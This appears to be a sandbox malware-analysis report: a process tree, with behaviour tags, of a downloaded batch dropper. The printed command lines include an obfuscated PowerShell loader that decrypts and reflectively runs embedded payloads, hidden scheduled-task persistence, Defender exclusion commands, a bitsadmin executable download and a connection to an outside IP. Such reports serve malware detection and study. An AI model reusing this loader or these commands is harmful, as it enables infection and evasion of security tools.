PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2364	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2552	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 2552	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe
PID 4924 wrote to memory of 776	4924	chrome.exe	chrome.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:820

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
2⤵
PID:992

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
2⤵
PID:2264

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
2⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:4872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:540

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1052

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1176

C:\Users\Admin\AppData\Local\Temp\LX.exe
C:\Users\Admin\AppData\Local\Temp\LX.exe
2⤵
- Executes dropped EXE
PID:2376

C:\Users\Admin\AppData\Local\Temp\LX.exe
C:\Users\Admin\AppData\Local\Temp\LX.exe
2⤵
- Executes dropped EXE
PID:5708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1264

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1384

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1548

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1684

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1820

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1972

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2172

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2408

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2564

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:1044

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:3316

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://gofile.io/d/TLyqC3
2⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4924

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fffa87cab58,0x7fffa87cab68,0x7fffa87cab78
3⤵
PID:4596

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1572 --field-trial-handle=1816,i,7933754409046085973,10528121498242160484,131072 /prefetch:2
3⤵
PID:2364

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1816,i,7933754409046085973,10528121498242160484,131072 /prefetch:8
3⤵
PID:2552

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2172 --field-trial-handle=1816,i,7933754409046085973,10528121498242160484,131072 /prefetch:8
3⤵
PID:776

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2900 --field-trial-handle=1816,i,7933754409046085973,10528121498242160484,131072 /prefetch:1
3⤵
PID:3056

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2908 --field-trial-handle=1816,i,7933754409046085973,10528121498242160484,131072 /prefetch:1
3⤵
PID:3872

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3356 --field-trial-handle=1816,i,7933754409046085973,10528121498242160484,131072 /prefetch:1
3⤵
PID:1848

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3664 --field-trial-handle=1816,i,7933754409046085973,10528121498242160484,131072 /prefetch:8
3⤵
PID:3768

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4196 --field-trial-handle=1816,i,7933754409046085973,10528121498242160484,131072 /prefetch:8
3⤵
PID:3464

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=4356 --field-trial-handle=1816,i,7933754409046085973,10528121498242160484,131072 /prefetch:1
3⤵
PID:2004

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4520 --field-trial-handle=1816,i,7933754409046085973,10528121498242160484,131072 /prefetch:8
3⤵
PID:3280

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4288 --field-trial-handle=1816,i,7933754409046085973,10528121498242160484,131072 /prefetch:8
3⤵
- NTFS ADS
PID:2012

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5048 --field-trial-handle=1816,i,7933754409046085973,10528121498242160484,131072 /prefetch:8
3⤵
PID:2944

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\LXStander.bat" "
3⤵
PID:4600

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rSPWyLMpVODQFeipYUBycYBIqWdREMGJxSUE3hY7XNE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4gwvlA4SHKe+6cTXJXevyg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YKEWy=New-Object System.IO.MemoryStream(,$param_var); $iOwTP=New-Object System.IO.MemoryStream; $AiSWp=New-Object System.IO.Compression.GZipStream($YKEWy, [IO.Compression.CompressionMode]::Decompress); $AiSWp.CopyTo($iOwTP); $AiSWp.Dispose(); $YKEWy.Dispose(); $iOwTP.Dispose(); $iOwTP.ToArray();}function execute_function($param_var,$param2_var){ $vGWuZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $SJusj=$vGWuZ.EntryPoint; $SJusj.Invoke($null, $param2_var);}$CkwxY = 'C:\Users\Admin\Downloads\LXStander.bat';$host.UI.RawUI.WindowTitle = $CkwxY;$WaxPe=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($CkwxY).Split([Environment]::NewLine);foreach ($oLcNO in $WaxPe) { if ($oLcNO.StartsWith('UaXZkMaWdgBvBuaytIEr')) { $UDTrE=$oLcNO.Substring(20); break; }}$payloads_var=[string[]]$UDTrE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
4⤵
PID:1368

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
4⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3564

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_969_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_969.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3008

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_969.vbs"
5⤵
PID:1924

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_969.bat" "
6⤵
PID:1800

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rSPWyLMpVODQFeipYUBycYBIqWdREMGJxSUE3hY7XNE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4gwvlA4SHKe+6cTXJXevyg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YKEWy=New-Object System.IO.MemoryStream(,$param_var); $iOwTP=New-Object System.IO.MemoryStream; $AiSWp=New-Object System.IO.Compression.GZipStream($YKEWy, [IO.Compression.CompressionMode]::Decompress); $AiSWp.CopyTo($iOwTP); $AiSWp.Dispose(); $YKEWy.Dispose(); $iOwTP.Dispose(); $iOwTP.ToArray();}function execute_function($param_var,$param2_var){ $vGWuZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $SJusj=$vGWuZ.EntryPoint; $SJusj.Invoke($null, $param2_var);}$CkwxY = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_969.bat';$host.UI.RawUI.WindowTitle = $CkwxY;$WaxPe=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($CkwxY).Split([Environment]::NewLine);foreach ($oLcNO in $WaxPe) { if ($oLcNO.StartsWith('UaXZkMaWdgBvBuaytIEr')) { $UDTrE=$oLcNO.Substring(20); break; }}$payloads_var=[string[]]$UDTrE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
7⤵
PID:724

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
7⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:4668

C:\Users\Admin\AppData\Local\Temp\LXDeveloper.exe
"C:\Users\Admin\AppData\Local\Temp\LXDeveloper.exe"
8⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4676

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\LXDeveloper.exe'
9⤵
- Command and Scripting Interpreter: PowerShell
PID:2112

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'LXDeveloper.exe'
9⤵
- Command and Scripting Interpreter: PowerShell
PID:4696

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\LX.exe'
9⤵
- Command and Scripting Interpreter: PowerShell
PID:4228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'LX.exe'
9⤵
- Command and Scripting Interpreter: PowerShell
PID:1808

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "LX" /tr "C:\Users\Admin\AppData\Local\Temp\LX.exe"
9⤵
- Creates scheduled task(s)
PID:1896

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -c explorer shell:::{3080F90E-D7AD-11D9-BD98-0000947B0257}
9⤵
PID:1144

C:\Windows\explorer.exe
"C:\Windows\explorer.exe" shell::: -encodedCommand MwAwADgAMABGADkAMABFAC0ARAA3AEEARAAtADEAMQBEADkALQBCAEQAOQA4AC0AMAAwADAAMAA5ADQANwBCADAAMgA1ADcA -inputFormat xml -outputFormat text
10⤵
PID:2708

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" 193.161.193.99 44454 <123456789> 16438457547433757626
9⤵
PID:5920

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\LXLoader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
8⤵
PID:3364

C:\Windows\SysWOW64\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://objects.githubusercontent.com/github-production-release-asset-2e65be/800426404/c15bbce8-4a31-4cc5-9245-05a9cd344f58?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20240606%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240606T121036Z&X-Amz-Expires=300&X-Amz-Signature=7701bb5d03d0ca82630dfde501713c8a5abac251571ebd4afb3bd2c2a31bddf2&X-Amz-SignedHeaders=host&actor_id=81531607&key_id=0&repo_id=800426404&response-content-disposition=attachment%3B%20filename%3DLXLauncher.exe&response-content-type=application%2Foctet-stream C:\Users\Admin\AppData\Local\Temp\LXLauncher.exe
9⤵
- Download via BitsAdmin
PID:5072

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\LXStander.bat" "
2⤵
PID:1736

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rSPWyLMpVODQFeipYUBycYBIqWdREMGJxSUE3hY7XNE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4gwvlA4SHKe+6cTXJXevyg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YKEWy=New-Object System.IO.MemoryStream(,$param_var); $iOwTP=New-Object System.IO.MemoryStream; $AiSWp=New-Object System.IO.Compression.GZipStream($YKEWy, [IO.Compression.CompressionMode]::Decompress); $AiSWp.CopyTo($iOwTP); $AiSWp.Dispose(); $YKEWy.Dispose(); $iOwTP.Dispose(); $iOwTP.ToArray();}function execute_function($param_var,$param2_var){ $vGWuZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $SJusj=$vGWuZ.EntryPoint; $SJusj.Invoke($null, $param2_var);}$CkwxY = 'C:\Users\Admin\Downloads\LXStander.bat';$host.UI.RawUI.WindowTitle = $CkwxY;$WaxPe=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($CkwxY).Split([Environment]::NewLine);foreach ($oLcNO in $WaxPe) { if ($oLcNO.StartsWith('UaXZkMaWdgBvBuaytIEr')) { $UDTrE=$oLcNO.Substring(20); break; }}$payloads_var=[string[]]$UDTrE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
3⤵
PID:4988

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- NTFS ADS
PID:2396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_903_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_903.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
4⤵
- Command and Scripting Interpreter: PowerShell
PID:1528

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_903.vbs"
4⤵
PID:4668

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_903.bat" "
5⤵
PID:5864

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rSPWyLMpVODQFeipYUBycYBIqWdREMGJxSUE3hY7XNE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4gwvlA4SHKe+6cTXJXevyg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YKEWy=New-Object System.IO.MemoryStream(,$param_var); $iOwTP=New-Object System.IO.MemoryStream; $AiSWp=New-Object System.IO.Compression.GZipStream($YKEWy, [IO.Compression.CompressionMode]::Decompress); $AiSWp.CopyTo($iOwTP); $AiSWp.Dispose(); $YKEWy.Dispose(); $iOwTP.Dispose(); $iOwTP.ToArray();}function execute_function($param_var,$param2_var){ $vGWuZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $SJusj=$vGWuZ.EntryPoint; $SJusj.Invoke($null, $param2_var);}$CkwxY = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_903.bat';$host.UI.RawUI.WindowTitle = $CkwxY;$WaxPe=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($CkwxY).Split([Environment]::NewLine);foreach ($oLcNO in $WaxPe) { if ($oLcNO.StartsWith('UaXZkMaWdgBvBuaytIEr')) { $UDTrE=$oLcNO.Substring(20); break; }}$payloads_var=[string[]]$UDTrE.Split('\');$payload1_var=decompress_function (decrypt_function 